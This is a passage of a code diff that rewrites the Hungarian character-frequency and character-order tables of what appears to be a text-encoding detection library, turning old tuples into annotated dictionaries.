# 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 3, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 0, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 30: { # 'í' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 2, # 's' + 3: 3, # 't' + 21: 0, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 25: { # 'ó' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 3, # 'd' + 1: 1, # 'e' + 27: 2, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 1, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 24: { # 'ö' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 0, # 'a' + 18: 3, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 0, # 'e' + 27: 1, # 'f' + 12: 2, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 0, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 0, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 31: { # 'ú' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 3, # 'j' + 7: 1, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 2, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 29: { # 'ü' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 0, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 42: { # 'ő' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 56: { # 'ű' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 0, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, +} + +# 255: Undefined characters that did not exist in training text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 +# 251: Control characters -# Character Mapping Table: -Latin2_HungarianCharToOrderMap = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, - 46, 71, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, -253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, - 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, -159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174, -175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190, -191,192,193,194,195,196,197, 75,198,199,200,201,202,203,204,205, - 79,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, -221, 51, 81,222, 78,223,224,225,226, 44,227,228,229, 61,230,231, -232,233,234, 58,235, 66, 59,236,237,238, 60, 69, 63,239,240,241, - 82, 14, 74,242, 70, 80,243, 72,244, 15, 83, 77, 84, 30, 76, 85, -245,246,247, 25, 73, 42, 24,248,249,250, 31, 56, 29,251,252,253, -) - -win1250HungarianCharToOrderMap = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, - 46, 72, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, -253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, - 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, -161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176, -177,178,179,180, 78,181, 69,182,183,184,185,186,187,188,189,190, -191,192,193,194,195,196,197, 76,198,199,200,201,202,203,204,205, - 81,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, -221, 51, 83,222, 80,223,224,225,226, 44,227,228,229, 61,230,231, -232,233,234, 58,235, 66, 59,236,237,238, 60, 70, 63,239,240,241, - 84, 14, 75,242, 71, 82,243, 73,244, 15, 85, 79, 86, 30, 77, 87, -245,246,247, 25, 74, 42, 24,248,249,250, 31, 56, 29,251,252,253, -) +# Character Mapping Table(s): +WINDOWS_1250_HUNGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 28, # 'A' + 66: 40, # 'B' + 67: 54, # 'C' + 68: 45, # 'D' + 69: 32, # 'E' + 70: 50, # 'F' + 71: 49, # 'G' + 72: 38, # 'H' + 73: 39, # 'I' + 74: 53, # 'J' + 75: 36, # 'K' + 76: 41, # 'L' + 77: 34, # 'M' + 78: 35, # 'N' + 79: 47, # 'O' + 80: 46, # 'P' + 81: 72, # 'Q' + 82: 43, # 'R' + 83: 33, # 'S' + 84: 37, # 'T' + 85: 57, # 'U' + 86: 48, # 'V' + 87: 64, # 'W' + 88: 68, # 'X' + 89: 55, # 'Y' + 90: 52, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 2, # 'a' + 98: 18, # 'b' + 99: 26, # 'c' + 100: 17, # 'd' + 101: 1, # 'e' + 102: 27, # 'f' + 103: 12, # 'g' + 104: 20, # 'h' + 105: 9, # 'i' + 106: 22, # 'j' + 107: 7, # 'k' + 108: 6, # 'l' + 109: 13, # 'm' + 110: 4, # 'n' + 111: 8, # 'o' + 112: 23, # 'p' + 113: 67, # 'q' + 114: 10, # 'r' + 115: 5, # 's' + 116: 3, # 't' + 117: 21, # 'u' + 118: 19, # 'v' + 119: 65, # 'w' + 120: 62, # 'x' + 121: 16, # 'y' + 122: 11, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 161, # '€' + 129: 162, # None + 130: 163, # '‚' + 131: 164, # None + 132: 165, # '„' + 133: 166, # '…' + 134: 167, # '†' + 135: 168, # '‡' + 136: 169, # None + 137: 170, # '‰' + 138: 171, # 'Š' + 139: 172, # '‹' + 140: 173, # 'Ś' + 141: 174, # 'Ť' + 142: 175, # 'Ž' + 143: 176, # 'Ź' + 144: 177, # None + 145: 178, # '‘' + 146: 179, # '’' + 147: 180, # '“' + 148: 78, # '”' + 149: 181, # '•' + 150: 69, # '–' + 151: 182, # '—' + 152: 183, # None + 153: 184, # '™' + 154: 185, # 'š' + 155: 186, # '›' + 156: 187, # 'ś' + 157: 188, # 'ť' + 158: 189, # 'ž' + 159: 190, # 'ź' + 160: 191, # '\xa0' + 161: 192, # 'ˇ' + 162: 193, # '˘' + 163: 194, # 'Ł' + 164: 195, # '¤' + 165: 196, # 'Ą' + 166: 197, # '¦' + 167: 76, # '§' + 168: 198, # '¨' + 169: 199, # '©' + 170: 200, # 'Ş' + 171: 201, # '«' + 172: 202, # '¬' + 173: 203, # '\xad' + 174: 204, # '®' + 175: 205, # 'Ż' + 176: 81, # '°' + 177: 206, # '±' + 178: 207, # '˛' + 179: 208, # 'ł' + 180: 209, # '´' + 181: 210, # 'µ' + 182: 211, # '¶' + 183: 212, # '·' + 184: 213, # '¸' + 185: 214, # 'ą' + 186: 215, # 'ş' + 187: 216, # '»' + 188: 217, # 'Ľ' + 189: 218, # '˝' + 190: 219, # 'ľ' + 191: 220, # 'ż' + 192: 221, # 'Ŕ' + 193: 51, # 'Á' + 194: 83, # 'Â' + 195: 222, # 'Ă' + 196: 80, # 'Ä' + 197: 223, # 'Ĺ' + 198: 224, # 'Ć' + 199: 225, # 'Ç' + 200: 226, # 'Č' + 201: 44, # 'É' + 202: 227, # 'Ę' + 203: 228, # 'Ë' + 204: 229, # 'Ě' + 205: 61, # 'Í' + 206: 230, # 'Î' + 207: 231, # 'Ď' + 208: 232, # 'Đ' + 209: 233, # 'Ń' + 210: 234, # 'Ň' + 211: 58, # 'Ó' + 212: 235, # 'Ô' + 213: 66, # 'Ő' + 214: 59, # 'Ö' + 215: 236, # '×' + 216: 237, # 'Ř' + 217: 238, # 'Ů' + 218: 60, # 'Ú' + 219: 70, # 'Ű' + 220: 63, # 'Ü' + 221: 239, # 'Ý' + 222: 240, # 'Ţ' + 223: 241, # 'ß' + 224: 84, # 'ŕ' + 225: 14, # 'á' + 226: 75, # 'â' + 227: 242, # 'ă' + 228: 71, # 'ä' + 229: 82, # 'ĺ' + 230: 243, # 'ć' + 231: 73, # 'ç' + 232: 244, # 'č' + 233: 15, # 'é' + 234: 85, # 'ę' + 235: 79, # 'ë' + 236: 86, # 'ě' + 237: 30, # 'í' + 238: 77, # 'î' + 239: 87, # 'ď' + 240: 245, # 'đ' + 241: 246, # 'ń' + 242: 247, # 'ň' + 243: 25, # 'ó' + 244: 74, # 'ô' + 245: 42, # 'ő' + 246: 24, # 'ö' + 247: 248, # '÷' + 248: 249, # 'ř' + 249: 250, # 'ů' + 250: 31, # 'ú' + 251: 56, # 'ű' + 252: 29, # 'ü' + 253: 251, # 'ý' + 254: 252, # 'ţ' + 255: 253, # '˙' +} -# Model Table: -# total sequences: 100% -# first 512 sequences: 94.7368% -# first 1024 sequences:5.2623% -# rest sequences: 0.8894% -# negative sequences: 0.0009% -HungarianLangModel = ( -0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, -3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,2,3,3,1,1,2,2,2,2,2,1,2, -3,2,2,3,3,3,3,3,2,3,3,3,3,3,3,1,2,3,3,3,3,2,3,3,1,1,3,3,0,1,1,1, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0, -3,2,1,3,3,3,3,3,2,3,3,3,3,3,1,1,2,3,3,3,3,3,3,3,1,1,3,2,0,1,1,1, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,3,3,3,1,1,2,3,3,3,1,3,3,3,3,3,1,3,3,2,2,0,3,2,3, -0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, -3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,3,3,2,3,3,2,2,3,2,3,2,0,3,2,2, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0, -3,3,3,3,3,3,2,3,3,3,3,3,2,3,3,3,1,2,3,2,2,3,1,2,3,3,2,2,0,3,3,3, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,3,2,3,3,3,3,2,3,3,3,3,0,2,3,2, -0,0,0,1,1,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,3,1,1,1,3,3,2,1,3,2,2,3,2,1,3,2,2,1,0,3,3,1, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -3,2,2,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,3,2,2,3,1,1,3,2,0,1,1,1, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,1,3,3,3,3,3,2,2,1,3,3,3,0,1,1,2, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,0,3,2,3, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,1,0, -3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,1,3,2,2,2,3,1,1,3,3,1,1,0,3,3,2, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,2,3,3,3,3,3,1,2,3,2,2,0,2,2,2, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -3,3,3,2,2,2,3,1,3,3,2,2,1,3,3,3,1,1,3,1,2,3,2,3,2,2,2,1,0,2,2,2, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, -3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,2,2,3,2,1,0,3,2,0,1,1,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,1,0,3,3,3,3,0,2,3,0,0,2,1,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,2,2,3,3,2,2,2,2,3,3,0,1,2,3,2,3,2,2,3,2,1,2,0,2,2,2, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, -3,3,3,3,3,3,1,2,3,3,3,2,1,2,3,3,2,2,2,3,2,3,3,1,3,3,1,1,0,2,3,2, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -3,3,3,1,2,2,2,2,3,3,3,1,1,1,3,3,1,1,3,1,1,3,2,1,2,3,1,1,0,2,2,2, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -3,3,3,2,1,2,1,1,3,3,1,1,1,1,3,3,1,1,2,2,1,2,1,1,2,2,1,1,0,2,2,1, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -3,3,3,1,1,2,1,1,3,3,1,0,1,1,3,3,2,0,1,1,2,3,1,0,2,2,1,0,0,1,3,2, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -3,2,1,3,3,3,3,3,1,2,3,2,3,3,2,1,1,3,2,3,2,1,2,2,0,1,2,1,0,0,1,1, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, -3,3,3,3,2,2,2,2,3,1,2,2,1,1,3,3,0,3,2,1,2,3,2,1,3,3,1,1,0,2,1,3, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -3,3,3,2,2,2,3,2,3,3,3,2,1,1,3,3,1,1,1,2,2,3,2,3,2,2,2,1,0,2,2,1, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -1,0,0,3,3,3,3,3,0,0,3,3,2,3,0,0,0,2,3,3,1,0,1,2,0,0,1,1,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,1,2,3,3,3,3,3,1,2,3,3,2,2,1,1,0,3,3,2,2,1,2,2,1,0,2,2,0,1,1,1, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,2,2,1,3,1,2,3,3,2,2,1,1,2,2,1,1,1,1,3,2,1,1,1,1,2,1,0,1,2,1, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0, -2,3,3,1,1,1,1,1,3,3,3,0,1,1,3,3,1,1,1,1,1,2,2,0,3,1,1,2,0,2,1,1, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, -3,1,0,1,2,1,2,2,0,1,2,3,1,2,0,0,0,2,1,1,1,1,1,2,0,0,1,1,0,0,0,0, -1,2,1,2,2,2,1,2,1,2,0,2,0,2,2,1,1,2,1,1,2,1,1,1,0,1,0,0,0,1,1,0, -1,1,1,2,3,2,3,3,0,1,2,2,3,1,0,1,0,2,1,2,2,0,1,1,0,0,1,1,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,0,0,3,3,2,2,1,0,0,3,2,3,2,0,0,0,1,1,3,0,0,1,1,0,0,2,1,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 